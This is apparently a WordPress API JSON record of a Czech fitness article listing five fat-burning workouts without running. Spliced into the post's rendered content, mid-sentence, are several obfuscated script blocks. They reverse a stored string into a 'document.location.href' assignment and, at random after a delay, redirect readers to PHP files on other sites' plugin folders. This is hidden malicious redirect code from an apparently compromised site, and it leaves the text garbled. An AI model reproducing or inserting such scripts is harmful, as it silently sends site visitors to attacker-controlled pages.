(number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9ho hormonu a\u017e 21kr\u00e1t nad norm\u00e1l u\u017e 15 minut po tr\u00e9ninku. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u0161echno, ani\u017e by b\u011bhali.<\/p>\n<p>&nbsp;<\/p>\n<p>5 SK\u00c1KEJTE P\u0158ES \u0160VIHADLO<\/p>\n<p>Chcete tip na cvi\u010den\u00ed, kter\u00e9 m\u016f\u017eete prov\u00e1d\u011bt prakticky kdekoliv? Sk\u00e1kejte p\u0159es \u0161vihadlo. Za 20 minut takhle m\u016f\u017eete sp\u00e1lit a\u017e 300 kcal. Tahle aktivita v\u00e1m nav\u00edc zlep\u0161\u00ed koordinaci, pohyblivost a sou\u010dasn\u011b p\u0159edstavuje skv\u011bl\u00e9 pos\u00edlen\u00ed pro l\u00fdtkov\u00e9 svaly.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Eric Velazquez, CSCS &nbsp; Nepat\u0159\u00edte mezi p\u0159\u00edznivce b\u011bhac\u00edho p\u00e1su? Nevad\u00ed. I tak m\u016f\u017eete spalovat zna\u010dn\u00e9 mno\u017estv\u00ed tuk\u016f! Sta\u010d\u00ed vyzkou\u0161et jin\u00e9 metody. &nbsp; Lidi b\u011bhaj\u00ed s c\u00edlem zhubnout u\u017e des\u00edtky let, obrovsk\u00fd boom za\u017eilo b\u011bh\u00e1n\u00ed v osmdes\u00e1t\u00fdch letech minul\u00e9ho stolet\u00ed. Ale v\u011bt\u0161ina lid\u00ed se jist\u011b shodne na tom, \u017ee tr\u00e1vit n\u011bkolik hodin t\u00fddn\u011b na b\u011bhac\u00edm p\u00e1su je velice nudn\u00e9. V posledn\u00ed dob\u011b se pozornost up\u0159ela p\u0159edev\u0161\u00edm na intervalov\u00fd tr\u00e9nink o vysok\u00e9 intenzit\u011b, d\u00edky n\u011bmu\u017e je trv\u00e1n\u00ed tr\u00e9ninku zna\u010dn\u011b zkr\u00e1ceno. Je ale mo\u017en\u00e9, abyste hubnuli i bez b\u011bh\u00e1n\u00ed? Ano, je. M\u00e1me pro v\u00e1s n\u011bkolik rad a tip\u016f, jak vytvo\u0159it kalorick\u00fd deficit a\/nebo urychlit metabolismus, ani\u017e byste museli b\u011bhat. &nbsp; 1 V\u00cdC POSILUJTE Jednou z prvn\u00edch metod, kterou za\u010dali sportovci vyu\u017e\u00edvat ve snaze odbourat tuk, bylo sn\u00ed\u017een\u00ed z\u00e1t\u011b\u017ee a proveden\u00ed vy\u0161\u0161\u00edho po\u010dtu opakov\u00e1n\u00ed. Nicm\u00e9n\u011b cvi\u010den\u00ed s vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e\u00ed je pro celkovou t\u011blesnou kompozici prosp\u011b\u0161n\u011bj\u0161\u00ed. V Norsku byla provedena studie, kter\u00e1 zjistila, \u017ee lid\u00e9 prov\u00e1d\u011bj\u00edc\u00ed s\u00e9rie o \u0161esti opakov\u00e1n\u00edch s maxim\u00e1ln\u00ed v\u00e1hou urychlili \u010dinnost metabolismu v\u00fdrazn\u011bji a na del\u0161\u00ed dobu ne\u017e ti, kte\u0159\u00ed prov\u00e1d\u011bli s\u00e9rie o 12 opakov\u00e1n\u00edch. Tr\u00e9nink s vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e\u00ed nav\u00edc vede k nav\u00fd\u0161en\u00ed hladiny hormon\u016f, kter\u00e9 podporuj\u00ed spalov\u00e1n\u00ed tuk\u016f, tzn. testosteronu a r\u016fstov\u00e9ho hormonu. &nbsp; 2 BOJUJTE S LANY M\u016f\u017eete si o cvi\u010den\u00ed s velk\u00fdmi lany myslet, \u017ee je to neefektivn\u00ed v\u00fdmysl, ale budete na velk\u00e9m omylu. Pr\u00e1v\u011b tato aktivita toti\u017e m\u016f\u017ee p\u0159edstavovat v\u00edtanou zm\u011bnu, \u0161anci tr\u00e9nink si opravdu u\u017e\u00edt a nav\u00edc dos\u00e1hnout takov\u00fdch v\u00fdsledk\u016f, jako t\u0159eba p\u0159i sprintech nebo j\u00edzd\u011b na kole. D\u00edky jedn\u00e9 studii v\u00edme, \u017ee kdy\u017e sportovci st\u0159\u00eddali intervaly 15 sekund cvi\u010den\u00ed s lany a 45 sekund odpo\u010dinku, dos\u00e1hli p\u0159ekvapiv\u011b dobr\u00fdch v\u00fdsledk\u016f. &nbsp; 3 VESLUJTE, VESLUJTE, VESLUJTE, KLIDN\u011a I NA STROJI M\u00e1te v posilovn\u011b veslovac\u00ed stroj Concept2 nebo n\u011bco podobn\u00e9ho? Pokud ano, ur\u010dit\u011b ho vyzkou\u0161ejte. P\u0159i spr\u00e1vn\u00e9m proveden\u00ed zapojuje veslov\u00e1n\u00ed v\u0161echny hlavn\u00ed svalov\u00e9 skupiny a to takov\u00fdm zp\u016fsobem, jak\u00fdm byste to pomoc\u00ed jin\u00e9 aktivity t\u011b\u017eko dok\u00e1zali. Veslov\u00e1n\u00ed rozv\u00edj\u00ed s\u00edlu a sou\u010dasn\u011b i spaluje tuky. M\u016f\u017eete veslovat bu\u010f del\u0161\u00ed dobu ve stabiln\u00edm tempu, nebo v r\u00e1mci 45 sekundov\u00fdch interval\u016f, kter\u00e9 v\u00e1m umo\u017en\u00ed dos\u00e1hnout maxim\u00e1ln\u00edch v\u00fdsledk\u016f. &nbsp; 4 DORA\u017dTE SE KETTLEBELL Cvi\u010den\u00ed s kettlebell \u010dinkami p\u0159edstavuje skv\u011bl\u00fd zp\u016fsob, jak budovat s\u00edlu i mobilitu. Jestli\u017ee nav\u00edc cvi\u010d\u00edte v r\u00e1mci intervalov\u00e9ho tr\u00e9ninku, podpo\u0159\u00edte i odbour\u00e1v\u00e1n\u00ed tuk\u016f. V r\u00e1mci jedn\u00e9 studie bylo zji\u0161t\u011bno, \u017ee pokud sportovci prov\u00e1d\u011bli dvan\u00e1ct 30 vte\u0159inov\u00fdch cvi\u010den\u00ed s kettlebell, p\u0159i\u010dem\u017e po ka\u017ed\u00e9m n\u00e1sledovalo 30 sekund odpo\u010dinku, do\u0161lo u nich k n\u00e1r\u016fstu hladiny testosteronu o 14 % a r\u016fstov\u00e9ho hormonu a\u017e 21kr\u00e1t nad norm\u00e1l u\u017e 15 minut po tr\u00e9ninku. A to v\u0161echno, ani\u017e by b\u011bhali. &nbsp; 5 SK\u00c1KEJTE P\u0158ES \u0160VIHADLO Chcete tip na cvi\u010den\u00ed, kter\u00e9 m\u016f\u017eete prov\u00e1d\u011bt prakticky kdekoliv? Sk\u00e1kejte p\u0159es \u0161vihadlo. Za 20 minut takhle m\u016f\u017eete sp\u00e1lit a\u017e 300 kcal. Tahle aktivita v\u00e1m nav\u00edc zlep\u0161\u00ed koordinaci, pohyblivost a sou\u010dasn\u011b p\u0159edstavuje skv\u011bl\u00e9 pos\u00edlen\u00ed pro l\u00fdtkov\u00e9 svaly.<\/p>\n","protected":false},"author":2,"featured_media":158,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-157","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=157"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/157\/revisions"}],"predecessor-version":[{"id":162,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/157\/revisions\/162"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/158"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}